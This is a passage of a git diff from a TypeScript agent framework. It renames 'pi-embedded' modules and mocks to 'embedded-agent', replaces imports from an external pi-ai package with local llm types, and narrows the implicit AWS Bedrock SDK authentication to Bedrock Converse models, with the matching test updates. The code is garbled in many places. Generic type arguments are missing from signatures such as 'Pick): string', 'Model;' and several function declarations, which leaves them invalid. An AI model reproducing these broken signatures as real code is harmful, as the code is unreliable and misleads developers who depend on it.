resolveStorePathMock: vi.fn(), updateSessionStoreMock: vi.fn(), - piEmbeddedModuleImported: false, + embeddedAgentModuleImported: false, })); -vi.mock("./pi-embedded.js", () => { - state.piEmbeddedModuleImported = true; +vi.mock("./embedded-agent.js", () => { + state.embeddedAgentModuleImported = true; return {}; }); -vi.mock("./pi-embedded-runner/runs.js", () => ({ - abortEmbeddedPiRun: (...args: unknown[]) => state.abortEmbeddedPiRunMock(...args), +vi.mock("./embedded-agent-runner/runs.js", () => ({ + abortEmbeddedAgentRun: (...args: unknown[]) => state.abortEmbeddedAgentRunMock(...args), requestEmbeddedRunModelSwitch: (...args: unknown[]) => state.requestEmbeddedRunModelSwitchMock(...args), consumeEmbeddedRunModelSwitch: (...args: unknown[]) => @@ -81,10 +81,10 @@ describe("live model switch", () => { }); beforeEach(() => { - state.abortEmbeddedPiRunMock.mockReset().mockReturnValue(false); + state.abortEmbeddedAgentRunMock.mockReset().mockReturnValue(false); state.requestEmbeddedRunModelSwitchMock.mockReset(); state.consumeEmbeddedRunModelSwitchMock.mockReset(); - state.piEmbeddedModuleImported = false; + state.embeddedAgentModuleImported = false; state.resolveDefaultModelForAgentMock .mockReset() .mockReturnValue({ provider: "anthropic", model: "claude-opus-4-6" }); @@ -337,7 +337,7 @@ describe("live model switch", () => { }); it("queues a live switch only when an active run was aborted", async () => { - state.abortEmbeddedPiRunMock.mockReturnValue(true); + state.abortEmbeddedAgentRunMock.mockReturnValue(true); const { requestLiveSessionModelSwitch } = await loadModule(); @@ -347,7 +347,7 @@ describe("live model switch", () => { selection: { provider: "openai", model: "gpt-5.4", authProfileId: "profile-gpt" }, }), ).toBe(true); - expect(state.abortEmbeddedPiRunMock).toHaveBeenCalledWith("session-1"); + expect(state.abortEmbeddedAgentRunMock).toHaveBeenCalledWith("session-1"); expect(state.requestEmbeddedRunModelSwitchMock).toHaveBeenCalledWith("session-1", { provider: "openai", model: "gpt-5.4", @@ -355,10 +355,10 @@ describe("live model switch", () => { }); }); - it("does not import the broad pi-embedded barrel on module load", async () => { + it("does not import the broad embedded-agent barrel on module load", async () => { await loadModule(); - expect(state.piEmbeddedModuleImported).toBe(false); + expect(state.embeddedAgentModuleImported).toBe(false); }); it("treats active openai-codex as an already-applied openai runtime promotion", async () => { diff --git a/src/agents/live-model-switch.ts b/src/agents/live-model-switch.ts index 327eedf0a36..9743d047aae 100644 --- a/src/agents/live-model-switch.ts +++ b/src/agents/live-model-switch.ts @@ -1,17 +1,17 @@ import { resolveStorePath } from "../config/sessions/paths.js"; import { loadSessionStore, updateSessionStore } from "../config/sessions/store.js"; import type { SessionEntry } from "../config/sessions/types.js"; +import { + abortEmbeddedAgentRun, + consumeEmbeddedRunModelSwitch, + requestEmbeddedRunModelSwitch, + type EmbeddedRunModelSwitchRequest, +} from "./embedded-agent-runner/runs.js"; import { normalizeStoredOverrideModel, resolveDefaultModelForAgent, resolvePersistedSelectedModelRef, } from "./model-selection.js"; -import { - abortEmbeddedPiRun, - consumeEmbeddedRunModelSwitch, - requestEmbeddedRunModelSwitch, - type EmbeddedRunModelSwitchRequest, -} from "./pi-embedded-runner/runs.js"; export { LiveSessionModelSwitchError } from "./live-model-switch-error.js"; export type LiveSessionModelSelection = EmbeddedRunModelSwitchRequest; import { normalizeOptionalString } from "../shared/string-coerce.js"; @@ -77,7 +77,7 @@ export function requestLiveSessionModelSwitch(params: { if (!sessionId) { return false; } - const aborted = abortEmbeddedPiRun(sessionId); + const aborted = abortEmbeddedAgentRun(sessionId); if (!aborted) { return false; } diff --git a/src/agents/live-model-turn-probes.ts b/src/agents/live-model-turn-probes.ts index 2ae4458ebec..234d3cd8683 100644 --- a/src/agents/live-model-turn-probes.ts +++ b/src/agents/live-model-turn-probes.ts @@ -1,5 +1,4 @@ -import type { Api, AssistantMessage, Context, Model } from "@earendil-works/pi-ai"; -import { normalizeStringEntries } from "../shared/string-normalization.js"; +import type { AssistantMessage, Context, Model } from "../llm/types.js"; export const LIVE_MODEL_FILE_PROBE_TOKEN = "opal"; @@ -45,7 +44,7 @@ const KNOWN_EMPTY_IMAGE_PROBE_MODELS = new Set([ "openrouter/bytedance-seed/seed-1.6", ]); -function modelKey(model: Pick, "id" | "provider">): string { +function modelKey(model: Pick): string { return `${model.provider}/${model.id}`; } @@ -61,29 +60,29 @@ export function isLiveModelProbeEnabled( } export function extractAssistantText(message: Pick): string { - return normalizeStringEntries( - message.content.filter((block) => block.type === "text").map((block) => block.text), - ).join(" "); + return message.content + .filter((block) => block.type === "text") + .map((block) => block.text.trim()) + .filter(Boolean) + .join(" "); } -export function modelSupportsImageInput(model: Pick, "input">): boolean { +export function modelSupportsImageInput(model: Pick): boolean { return model.input.includes("image"); } -export function shouldSkipLiveModelExtraProbes( - model: Pick, "id" | "provider">, -): boolean { +export function shouldSkipLiveModelExtraProbes(model: Pick): boolean { return KNOWN_EMPTY_EXTRA_PROBE_MODELS.has(modelKey(model)); } -export function shouldSkipLiveModelFileProbe(model: Pick, "id" | "provider">): boolean { +export function shouldSkipLiveModelFileProbe(model: Pick): boolean { if (model.provider === "opencode-go") { return true; } return KNOWN_EMPTY_FILE_PROBE_MODELS.has(modelKey(model)); } -export function shouldSkipLiveModelImageProbe(model: Pick, "id" | "provider">): boolean { +export function shouldSkipLiveModelImageProbe(model: Pick): boolean { return KNOWN_EMPTY_IMAGE_PROBE_MODELS.has(modelKey(model)); } diff --git a/src/agents/live-provider-owner.ts b/src/agents/live-provider-owner.ts index 82ac5eba57a..b0a279e3c43 100644 --- a/src/agents/live-provider-owner.ts +++ b/src/agents/live-provider-owner.ts @@ -1,5 +1,5 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { resolveOwningPluginIdsForProvider } from "../plugins/providers.js"; +import { resolveOwningPluginIdsForProviderRef } from "../plugins/providers.js"; import { normalizeProviderId } from "./provider-id.js"; type LiveProviderOwnerContext = { @@ -19,7 +19,7 @@ function resolveCachedOwningPluginIdsForProvider( return cached; } const owners = - resolveOwningPluginIdsForProvider({ + resolveOwningPluginIdsForProviderRef({ provider: normalized, config: context.config, workspaceDir: context.workspaceDir, diff --git a/src/agents/live-test-helpers.ts b/src/agents/live-test-helpers.ts index 260819b23da..938d668dc8b 100644 --- a/src/agents/live-test-helpers.ts +++ b/src/agents/live-test-helpers.ts @@ -1,5 +1,6 @@ -import { completeSimple, type Api, type Model } from "@earendil-works/pi-ai"; import { isTruthyEnvValue } from "../infra/env.js"; +import { completeSimple } from "../llm/stream.js"; +import type { Api, Model } from "../llm/types.js"; const LIVE_OK_PROMPT = "Reply with the word ok."; diff --git a/src/agents/live-test-provider-drift.ts b/src/agents/live-test-provider-drift.ts index 9e7300f3935..dd0553ed195 100644 --- a/src/agents/live-test-provider-drift.ts +++ b/src/agents/live-test-provider-drift.ts @@ -1,13 +1,13 @@ import { isCloudflareOrHtmlErrorPage } from "../shared/assistant-error-format.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; -import { isAnthropicBillingError, isApiKeyRateLimitError } from "./live-auth-keys.js"; -import { isModelNotFoundErrorMessage } from "./live-model-errors.js"; import { isAuthErrorMessage, isBillingErrorMessage, isRateLimitErrorMessage, isTimeoutErrorMessage, -} from "./pi-embedded-helpers/failover-matches.js"; +} from "./embedded-agent-helpers/failover-matches.js"; +import { isAnthropicBillingError, isApiKeyRateLimitError } from "./live-auth-keys.js"; +import { isModelNotFoundErrorMessage } from "./live-model-errors.js"; export type LiveProviderDriftReason = | "auth" diff --git a/src/agents/local-model-lean.test.ts b/src/agents/local-model-lean.test.ts index af70a5644f1..d552a448399 100644 --- a/src/agents/local-model-lean.test.ts +++ b/src/agents/local-model-lean.test.ts @@ -1,7 +1,7 @@ import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; +import type { AnyAgentTool } from "./agent-tools.types.js"; import { filterLocalModelLeanTools, isLocalModelLeanEnabled } from "./local-model-lean.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; function tools(names: string[]): AnyAgentTool[] { return names.map((name) => ({ name })) as AnyAgentTool[]; diff --git a/src/agents/local-model-lean.ts b/src/agents/local-model-lean.ts index a898c45eada..837c0600038 100644 --- a/src/agents/local-model-lean.ts +++ b/src/agents/local-model-lean.ts @@ -1,7 +1,7 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { normalizeAgentId, parseAgentSessionKey } from "../routing/session-key.js"; import { resolveAgentConfig, resolveDefaultAgentId } from "./agent-scope-config.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; +import type { AnyAgentTool } from "./agent-tools.types.js"; const LOCAL_MODEL_LEAN_DENY_TOOL_NAMES = new Set(["browser", "cron", "message"]); diff --git a/src/agents/minimax.live.test.ts b/src/agents/minimax.live.test.ts index 37ef3be1434..fdc64816f42 100644 --- a/src/agents/minimax.live.test.ts +++ b/src/agents/minimax.live.test.ts @@ -1,4 +1,4 @@ -import { completeSimple, type Model } from "@earendil-works/pi-ai"; +import { completeSimple, type Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { createSingleUserPromptMessage, diff --git a/src/agents/model-auth.profiles.test.ts b/src/agents/model-auth.profiles.test.ts index 7cbdd3fd709..5730ecb8735 100644 --- a/src/agents/model-auth.profiles.test.ts +++ b/src/agents/model-auth.profiles.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { Api, Model } from "@earendil-works/pi-ai"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { withEnvAsync } from "../test-utils/env.js"; @@ -44,7 +44,7 @@ async function expectVertexAdcEnvApiKey(params: { } } -function testModelDefinition(id: string): Model { +function testModelDefinition(id: string): Model { return { id, name: id, @@ -235,6 +235,8 @@ vi.mock("../plugins/provider-runtime.js", () => ({ vi.mock("../plugins/providers.js", () => ({ resolveOwningPluginIdsForProvider: ({ provider }: { provider: string }) => provider === "openai" ? ["openai"] : [], + resolveOwningPluginIdsForProviderRef: ({ provider }: { provider: string }) => + provider === "openai" ? ["openai"] : [], })); const cliCredentialMocks = vi.hoisted(() => ({ @@ -415,7 +417,7 @@ describe("getApiKeyForModel", () => { id: "codex-mini-latest", provider: "openai-codex", api: "openai-codex-responses", - } as Model; + } as Model; const store = ensureAuthProfileStore(process.env.OPENCLAW_AGENT_DIR, { allowKeychainPrompt: false, @@ -809,7 +811,7 @@ describe("getApiKeyForModel", () => { env: {}, store, }), - ).resolves.toBe(true); + ).resolves.toBe(false); await expect( hasAuthForModelProvider({ provider: "vllm", diff --git a/src/agents/model-auth.test.ts b/src/agents/model-auth.test.ts index 49425dbc7e2..b362c618a4b 100644 --- a/src/agents/model-auth.test.ts +++ b/src/agents/model-auth.test.ts @@ -1,4 +1,4 @@ -import type { Model } from "@earendil-works/pi-ai"; +import type { Model } from "openclaw/plugin-sdk/llm"; import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import type { ModelProviderConfig } from "../config/config.js"; import type { AuthProfileStore } from "./auth-profiles.js"; @@ -30,6 +30,7 @@ vi.mock("../plugins/plugin-registry.js", () => ({ vi.mock("../plugins/providers.js", () => ({ resolveOwningPluginIdsForProvider: () => [], + resolveOwningPluginIdsForProviderRef: () => [], })); vi.mock("../plugins/setup-registry.js", () => ({ @@ -338,15 +339,15 @@ describe("resolveModelAuthMode", () => { ).toBe("aws-sdk"); }); - it("returns aws-sdk for bedrock alias without explicit auth override", () => { + it("does not infer aws-sdk for bedrock alias without explicit auth override", () => { expect(resolveModelAuthMode("bedrock", undefined, { version: 1, profiles: {} })).toBe( - "aws-sdk", + "unknown", ); }); - it("returns aws-sdk for aws-bedrock alias without explicit auth override", () => { + it("does not infer aws-sdk for aws-bedrock alias without explicit auth override", () => { expect(resolveModelAuthMode("aws-bedrock", undefined, { version: 1, profiles: {} })).toBe( - "aws-sdk", + "unknown", ); }); @@ -1315,7 +1316,7 @@ describe("resolveApiKeyForProvider – synthetic local auth for custom providers ).rejects.toThrow('No API key found for provider "custom"'); }); - it("keeps built-in aws-sdk fallback for local baseUrl overrides", async () => { + it("uses explicit aws-sdk auth for local baseUrl overrides", async () => { const auth = await resolveApiKeyForProvider({ provider: "amazon-bedrock", cfg: { @@ -1324,6 +1325,7 @@ describe("resolveApiKeyForProvider – synthetic local auth for custom providers "amazon-bedrock": { baseUrl: "http://127.0.0.1:8080/v1", models: [], + auth: "aws-sdk", }, }, }, @@ -1333,6 +1335,27 @@ describe("resolveApiKeyForProvider – synthetic local auth for custom providers expect(auth.mode).toBe("aws-sdk"); expect(auth.apiKey).toBeUndefined(); }); + + it("uses implicit aws-sdk auth for built-in Bedrock Converse models", async () => { + const auth = await getApiKeyForModel({ + model: { + id: "us.anthropic.claude-sonnet-4-6-v1", + name: "Claude Sonnet", + provider: "amazon-bedrock", + api: "bedrock-converse-stream", + baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", + reasoning: true, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 200000, + maxTokens: 8192, + }, + store: { version: 1, profiles: {} }, + }); + + expect(auth.mode).toBe("aws-sdk"); + expect(auth.apiKey).toBeUndefined(); + }); }); describe("applyLocalNoAuthHeaderOverride", () => { diff --git a/src/agents/model-auth.ts b/src/agents/model-auth.ts index 287e300c685..1803a3ee453 100644 --- a/src/agents/model-auth.ts +++ b/src/agents/model-auth.ts @@ -1,18 +1,18 @@ import path from "node:path"; -import { type Api, type Model } from "@earendil-works/pi-ai"; import { formatCliCommand } from "../cli/command-format.js"; import { getRuntimeConfigSnapshot } from "../config/config.js"; import type { ModelProviderAuthMode, ModelProviderConfig } from "../config/types.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { coerceSecretRef } from "../config/types.secrets.js"; import { getShellEnvAppliedKeys } from "../infra/shell-env.js"; +import type { Model } from "../llm/types.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; import { buildProviderMissingAuthMessageWithPlugin, resolveProviderSyntheticAuthWithPlugin, shouldDeferProviderSyntheticProfileAuthWithPlugin, } from "../plugins/provider-runtime.js"; -import { resolveOwningPluginIdsForProvider } from "../plugins/providers.js"; +import { resolveOwningPluginIdsForProviderRef } from "../plugins/providers.js"; import { resolveRuntimeSyntheticAuthProviderRefState } from "../plugins/synthetic-auth.runtime.js"; import { resolveDefaultSecretProviderAlias } from "../secrets/ref-contract.js"; import { @@ -277,6 +277,24 @@ function resolveProviderAuthOverride( return undefined; } +function shouldUseImplicitAwsSdkAuth(params: { + cfg: OpenClawConfig | undefined; + provider: string; + modelApi: string | undefined; +}): boolean { + if (params.modelApi !== "bedrock-converse-stream") { + return false; + } + if (normalizeProviderId(params.provider) !== "amazon-bedrock") { + return false; + } + const providerConfig = resolveProviderConfig(params.cfg, params.provider); + return ( + resolveProviderAuthOverride(params.cfg, params.provider) === undefined && + (providerConfig === undefined || !hasExplicitProviderApiKeyConfig(providerConfig)) + ); +} + function profileTypeToAuthMode(type: AuthProfileCredential["type"]): ResolvedProviderAuth["mode"] { return type === "oauth" ? "oauth" : type === "token" ? "token" : "api-key"; } @@ -432,9 +450,6 @@ export function hasRuntimeAvailableProviderAuth(params: { if (authOverride === "aws-sdk") { return true; } - if (authOverride === undefined && provider === "amazon-bedrock") { - return true; - } if ( resolveEnvApiKey(provider, params.env, { config: params.cfg, @@ -726,6 +741,9 @@ export async function resolveApiKeyForProvider(params: { if (authOverride === "aws-sdk") { return resolveAwsSdkAuthInfo(); } + if (shouldUseImplicitAwsSdkAuth({ cfg, provider, modelApi: params.modelApi })) { + return resolveAwsSdkAuthInfo(); + } if (shouldPreferExplicitConfigApiKeyAuth(cfg, provider)) { const customKey = resolveUsableCustomProviderApiKey({ cfg, provider }); if (customKey) { @@ -736,11 +754,6 @@ export async function resolveApiKeyForProvider(params: { }; } } - const normalized = normalizeProviderId(provider); - if (authOverride === undefined && normalized === "amazon-bedrock") { - return resolveAwsSdkAuthInfo(); - } - if (params.credentialPrecedence === "env-first") { const envResolved = resolveConfigAwareEnvApiKey(cfg, provider, params.workspaceDir); if (envResolved) { @@ -869,7 +882,7 @@ export async function resolveApiKeyForProvider(params: { const hasInlineConfiguredModels = Array.isArray(providerConfig?.models) && providerConfig.models.length > 0; const owningPluginIds = !hasInlineConfiguredModels - ? resolveOwningPluginIdsForProvider({ + ? resolveOwningPluginIdsForProviderRef({ provider, config: cfg, }) @@ -953,10 +966,6 @@ export function resolveModelAuthMode( } } - if (authOverride === undefined && normalizeProviderId(resolved) === "amazon-bedrock") { - return "aws-sdk"; - } - const envKey = resolveConfigAwareEnvApiKey(cfg, resolved, options?.workspaceDir); if (envKey?.apiKey) { return envKey.source.includes("OAUTH_TOKEN") ? "oauth" : "api-key"; @@ -999,10 +1008,6 @@ export async function hasAvailableAuthForProvider(params: { if (resolveSyntheticLocalProviderAuth({ cfg, provider })) { return true; } - if (authOverride === undefined && normalizeProviderId(provider) === "amazon-bedrock") { - return true; - } - const store = params.store ?? resolveScopedAuthProfileStore({ @@ -1039,7 +1044,7 @@ export async function hasAvailableAuthForProvider(params: { } export async function getApiKeyForModel(params: { - model: Model; + model: Model; cfg?: OpenClawConfig; profileId?: string; preferredProfile?: string; @@ -1063,7 +1068,7 @@ export async function getApiKeyForModel(params: { }); } -export function applyLocalNoAuthHeaderOverride>( +export function applyLocalNoAuthHeaderOverride( model: T, auth: ResolvedProviderAuth | null | undefined, ): T { @@ -1095,7 +1100,7 @@ export function applyLocalNoAuthHeaderOverride>( * available, or when the API key is a synthetic marker (e.g. local-server * placeholders) rather than a real credential. */ -export function applyAuthHeaderOverride>( +export function applyAuthHeaderOverride( model: T, auth: ResolvedProviderAuth | null | undefined, cfg: OpenClawConfig | undefined, diff --git a/src/agents/model-catalog.test.ts b/src/agents/model-catalog.test.ts index af58098b3e5..298975c4506 100644 --- a/src/agents/model-catalog.test.ts +++ b/src/agents/model-catalog.test.ts @@ -2,7 +2,7 @@ import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } import type { OpenClawConfig } from "../config/config.js"; import { resetLogger, setLoggerOverride } from "../logging/logger.js"; -type PiSdkModule = typeof import("./pi-model-discovery.js"); +type AgentModelDiscoveryModule = typeof import("./agent-model-discovery.js"); let setModelCatalogImportForTest: typeof import("./model-catalog.js").setModelCatalogImportForTest; let findModelCatalogEntry: typeof import("./model-catalog.js").findModelCatalogEntry; @@ -47,33 +47,43 @@ function mockCatalogImportFailThenRecover() { return { discoverAuthStorage: () => ({}), AuthStorage: function AuthStorage() {}, + discoverModels: () => ({ + getAll() { + return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }]; + }, + }), ModelRegistry: class { getAll() { return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }]; } }, - } as unknown as PiSdkModule; + } as unknown as AgentModelDiscoveryModule; }); return () => call; } -function mockPiDiscoveryModels(models: unknown[]) { +function mockAgentDiscoveryModels(models: unknown[]) { setModelCatalogImportForTest( async () => ({ discoverAuthStorage: () => ({}), AuthStorage: function AuthStorage() {}, + discoverModels: () => ({ + getAll() { + return models; + }, + }), ModelRegistry: class { getAll() { return models; } }, - }) as unknown as PiSdkModule, + }) as unknown as AgentModelDiscoveryModule, ); } function mockSingleOpenAiCatalogModel() { - mockPiDiscoveryModels([{ id: "gpt-4.1", provider: "openai", name: "GPT-4.1" }]); + mockAgentDiscoveryModels([{ id: "gpt-4.1", provider: "openai", name: "GPT-4.1" }]); } function emptyPluginMetadataSnapshot() { @@ -224,8 +234,8 @@ describe("loadModelCatalog", () => { vi.doMock("../plugins/provider-runtime.runtime.js", () => ({ augmentModelCatalogWithProviderPlugins: vi.fn().mockResolvedValue([]), })); - currentPluginMetadataSnapshotMock = vi.fn<(...args: unknown[]) => unknown>(); - loadPluginMetadataSnapshotMock = vi.fn<(...args: unknown[]) => unknown>(); + currentPluginMetadataSnapshotMock = vi.fn(() => emptyPluginMetadataSnapshot()); + loadPluginMetadataSnapshotMock = vi.fn(() => emptyPluginMetadataSnapshot()); vi.doMock("../plugins/current-plugin-metadata-snapshot.js", () => ({ getCurrentPluginMetadataSnapshot: currentPluginMetadataSnapshotMock, })); @@ -297,7 +307,7 @@ describe("loadModelCatalog", () => { it("reloads dynamic registry entries after clearing the cache", async () => { const models = [{ id: "existing", name: "Existing", provider: "ollama" }]; - mockPiDiscoveryModels(models); + mockAgentDiscoveryModels(models); const first = await loadModelCatalog({ config: {} as OpenClawConfig }); expect(first).toStrictEqual([ @@ -314,7 +324,7 @@ describe("loadModelCatalog", () => { models.push({ id: "glm-5.1:cloud", name: "GLM 5.1 Cloud", provider: "ollama" }); resetModelCatalogCacheForTest(); - mockPiDiscoveryModels(models); + mockAgentDiscoveryModels(models); const second = await loadModelCatalog({ config: {} as OpenClawConfig }); expect(second).toStrictEqual([ @@ -347,6 +357,20 @@ describe("loadModelCatalog", () => { ({ discoverAuthStorage: () => ({}), AuthStorage: function AuthStorage() {}, + discoverModels: () => ({ + getAll() { + return [ + { id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }, + { + get id() { + throw new Error("boom"); + }, + provider: "openai", + name: "bad", + }, + ]; + }, + }), ModelRegistry: class { getAll() { return [ @@ -361,7 +385,7 @@ describe("loadModelCatalog", () => { ]; } }, - }) as unknown as PiSdkModule, + }) as unknown as AgentModelDiscoveryModule, ); const result = await loadModelCatalog({ config: {} as OpenClawConfig }); @@ -373,10 +397,12 @@ describe("loadModelCatalog", () => { }); it("does not prepare models.json or import provider discovery when loading fallback catalog in read-only mode", async () => { - const importPiSdk = vi.fn(async () => { + const importAgentDiscoveryModule = vi.fn(async () => { throw new Error("provider discovery should not load"); }); - setModelCatalogImportForTest(importPiSdk as unknown as () => Promise); + setModelCatalogImportForTest( + importAgentDiscoveryModule as unknown as () => Promise, + ); currentPluginMetadataSnapshotMock.mockReturnValueOnce(undefined); loadPluginMetadataSnapshotMock.mockImplementationOnce(() => { throw new Error("metadata scan should not run"); @@ -409,7 +435,7 @@ describe("loadModelCatalog", () => { const entry = requireCatalogEntry(result, "openai", "gpt-test"); expect(entry.name).toBe("GPT Test"); expect(ensureOpenClawModelsJsonMock).not.toHaveBeenCalled(); - expect(importPiSdk).not.toHaveBeenCalled(); + expect(importAgentDiscoveryModule).not.toHaveBeenCalled(); expect(loadPluginMetadataSnapshotMock).not.toHaveBeenCalled(); }); @@ -504,10 +530,12 @@ describe("loadModelCatalog", () => { }, ], }); - const importPiSdk = vi.fn(async () => { + const importAgentDiscoveryModule = vi.fn(async () => { throw new Error("provider discovery should not load"); }); - setModelCatalogImportForTest(importPiSdk as unknown as () => Promise); + setModelCatalogImportForTest( + importAgentDiscoveryModule as unknown as () => Promise, + ); const result = await loadModelCatalog({ config: {} as OpenClawConfig, readOnly: true }); @@ -521,7 +549,7 @@ describe("loadModelCatalog", () => { }, ]); expect(ensureOpenClawModelsJsonMock).not.toHaveBeenCalled(); - expect(importPiSdk).not.toHaveBeenCalled(); + expect(importAgentDiscoveryModule).not.toHaveBeenCalled(); }); it("preserves registry defaults for minimal persisted read-only catalog rows", async () => { @@ -703,7 +731,7 @@ describe("loadModelCatalog", () => { it("loads manifest model id policies once for discovered catalog rows", async () => { currentPluginMetadataSnapshotMock.mockReturnValue(undefined); loadPluginMetadataSnapshotMock.mockReturnValue(modelIdNormalizationSnapshot()); - mockPiDiscoveryModels([ + mockAgentDiscoveryModels([ { provider: "custom", id: "model-a", name: "Model A" }, { provider: "custom", id: "model-b", name: "Model B" }, { provider: "custom", id: "model-c", name: "Model C" }, @@ -759,7 +787,7 @@ describe("loadModelCatalog", () => { }); it("does not synthesize stale openai-codex/gpt-5.3-codex-spark entries from gpt-5.4", async () => { - mockPiDiscoveryModels([ + mockAgentDiscoveryModels([ { id: "gpt-5.4", provider: "openai-codex", @@ -782,7 +810,7 @@ describe("loadModelCatalog", () => { }); it("filters stale gpt-5.3-codex-spark built-ins from the catalog", async () => { - mockPiDiscoveryModels([ + mockAgentDiscoveryModels([ { id: "gpt-5.3-codex-spark", provider: "openai", @@ -816,7 +844,7 @@ describe("loadModelCatalog", () => { }); it("keeps available openai-codex 5.1/5.2/5.3 built-ins in the catalog", async () => { - mockPiDiscoveryModels([ + mockAgentDiscoveryModels([ { id: "gpt-5.1-codex-mini", provider: "openai-codex", @@ -861,7 +889,7 @@ describe("loadModelCatalog", () => { }); it("does not synthesize gpt-5.4 OpenAI forward-compat entries from template models", async () => { - mockPiDiscoveryModels([ + mockAgentDiscoveryModels([ { id: "gpt-5.2", provider: "openai", @@ -1082,7 +1110,7 @@ describe("loadModelCatalog", () => { }); it("overlays configured model compat onto discovered catalog rows", async () => { - mockPiDiscoveryModels([ + mockAgentDiscoveryModels([ { id: "Qwen/Qwen3-8B", name: "Qwen3 8B", @@ -1244,8 +1272,8 @@ describe("loadModelCatalog", () => { expect(entry.contextWindow).toBe(128_000); }); - it("dedupes configured models against discovered provider aliases", async () => { - mockPiDiscoveryModels([{ id: "glm-5", provider: "z.ai", name: "GLM-5" }]); + it("dedupes configured models without rewriting provider ids", async () => { + mockAgentDiscoveryModels([{ id: "glm-5", provider: "z.ai", name: "GLM-5" }]); const result = await loadModelCatalog({ config: { @@ -1273,9 +1301,9 @@ describe("loadModelCatalog", () => { const matches = result.filter((entry) => findModelInCatalog([entry], "z-ai", "glm-5")); expect(matches).toHaveLength(1); const match = matches[0]; - expect(match?.provider).toBe("z.ai"); + expect(match?.provider).toBe("z-ai"); expect(match?.id).toBe("glm-5"); - expect(match?.name).toBe("GLM-5"); + expect(match?.name).toBe("Configured GLM-5"); }); it("does not add unrelated models when provider plugins return nothing", async () => { @@ -1289,7 +1317,7 @@ describe("loadModelCatalog", () => { }); it("does not duplicate provider-owned supplemental models already present in ModelRegistry", async () => { - mockPiDiscoveryModels([ + mockAgentDiscoveryModels([ { id: "kilo/auto", provider: "kilocode", @@ -1316,14 +1344,10 @@ describe("loadModelCatalog", () => { expect(matches[0]?.name).toBe("Kilo Auto"); }); - it("matches models across canonical provider aliases", () => { + it("does not match models across provider id variants", () => { expect( findModelInCatalog([{ provider: "z.ai", id: "glm-5", name: "GLM-5" }], "z-ai", "glm-5"), - ).toEqual({ - provider: "z.ai", - id: "glm-5", - name: "GLM-5", - }); + ).toBeUndefined(); }); it("resolves catalog entries with explicit providers and unique providerless matches", () => { diff --git a/src/agents/model-catalog.ts b/src/agents/model-catalog.ts index fbd56950930..d07476876d5 100644 --- a/src/agents/model-catalog.ts +++ b/src/agents/model-catalog.ts @@ -33,7 +33,7 @@ import { ensureOpenClawModelsJson } from "./models-config.js"; import { normalizeProviderId } from "./provider-id.js"; const log = createSubsystemLogger("model-catalog"); -const PI_CUSTOM_MODEL_DEFAULT_CONTEXT_WINDOW = 128_000; +const AGENT_CUSTOM_MODEL_DEFAULT_CONTEXT_WINDOW = 128_000; export type { ModelCatalogEntry, ModelInputType } from "./model-catalog.types.js"; export { @@ -53,27 +53,18 @@ type DiscoveredModel = { compat?: ModelCatalogEntry["compat"]; }; -type PiSdkModule = typeof import("./pi-model-discovery-runtime.js"); -type PiRegistryInstance = - | Array - | { - getAll: () => Array; - }; -type PiRegistryClassLike = { - create?: (authStorage: unknown, modelsFile: string) => PiRegistryInstance; - new (authStorage: unknown, modelsFile: string): PiRegistryInstance; -}; +type AgentDiscoveryModule = typeof import("./agent-model-discovery.js"); let modelCatalogPromise: Promise | null = null; let hasLoggedModelCatalogError = false; let hasLoggedReadOnlyStaticCatalogError = false; -const defaultImportPiSdk = () => import("./pi-model-discovery-runtime.js"); -let importPiSdk = defaultImportPiSdk; type ManifestModelCatalogCacheEntry = { snapshot: PluginMetadataSnapshot; rows: ModelCatalogEntry[]; }; let manifestModelCatalogCache = new WeakMap(); +const defaultImportAgentDiscovery = () => import("./agent-model-discovery.js"); +let importAgentDiscovery = defaultImportAgentDiscovery; const modelSuppressionLoader = createLazyImportLoader( () => import("./model-suppression.runtime.js"), ); @@ -95,29 +86,17 @@ export function resetModelCatalogCache() { export function resetModelCatalogCacheForTest() { resetModelCatalogCache(); - importPiSdk = defaultImportPiSdk; + importAgentDiscovery = defaultImportAgentDiscovery; } -// Test-only escape hatch: allow mocking the dynamic import to simulate transient failures. -export function setModelCatalogImportForTest(loader?: () => Promise) { - importPiSdk = loader ?? defaultImportPiSdk; +// Test-only escape hatch: allow mocking discovery failures without touching module state. +export function setModelCatalogImportForTest(loader?: () => Promise) { + importAgentDiscovery = loader ?? defaultImportAgentDiscovery; } /** @deprecated Use `setModelCatalogImportForTest`. */ export { setModelCatalogImportForTest as __setModelCatalogImportForTest }; -function instantiatePiModelRegistry( - piSdk: PiSdkModule, - authStorage: unknown, - modelsFile: string, -): PiRegistryInstance { - const Registry = piSdk.ModelRegistry as unknown as PiRegistryClassLike; - if (typeof Registry.create === "function") { - return Registry.create(authStorage, modelsFile); - } - return new Registry(authStorage, modelsFile); -} - function catalogEntryDedupeKey(provider: string, id: string): string { const normalizedProvider = normalizeProviderId(provider); return normalizeLowercaseStringOrEmpty(modelKey(normalizedProvider, id)); @@ -289,7 +268,7 @@ function normalizePersistedModelCatalogEntry( ? entry.contextWindow : defaults?.contextWindow !== undefined ? defaults.contextWindow - : PI_CUSTOM_MODEL_DEFAULT_CONTEXT_WINDOW; + : AGENT_CUSTOM_MODEL_DEFAULT_CONTEXT_WINDOW; const contextTokens = typeof entry?.contextTokens === "number" && entry.contextTokens > 0 ? entry.contextTokens @@ -493,27 +472,21 @@ export async function loadModelCatalog(params?: { await ensureOpenClawModelsJson(cfg); 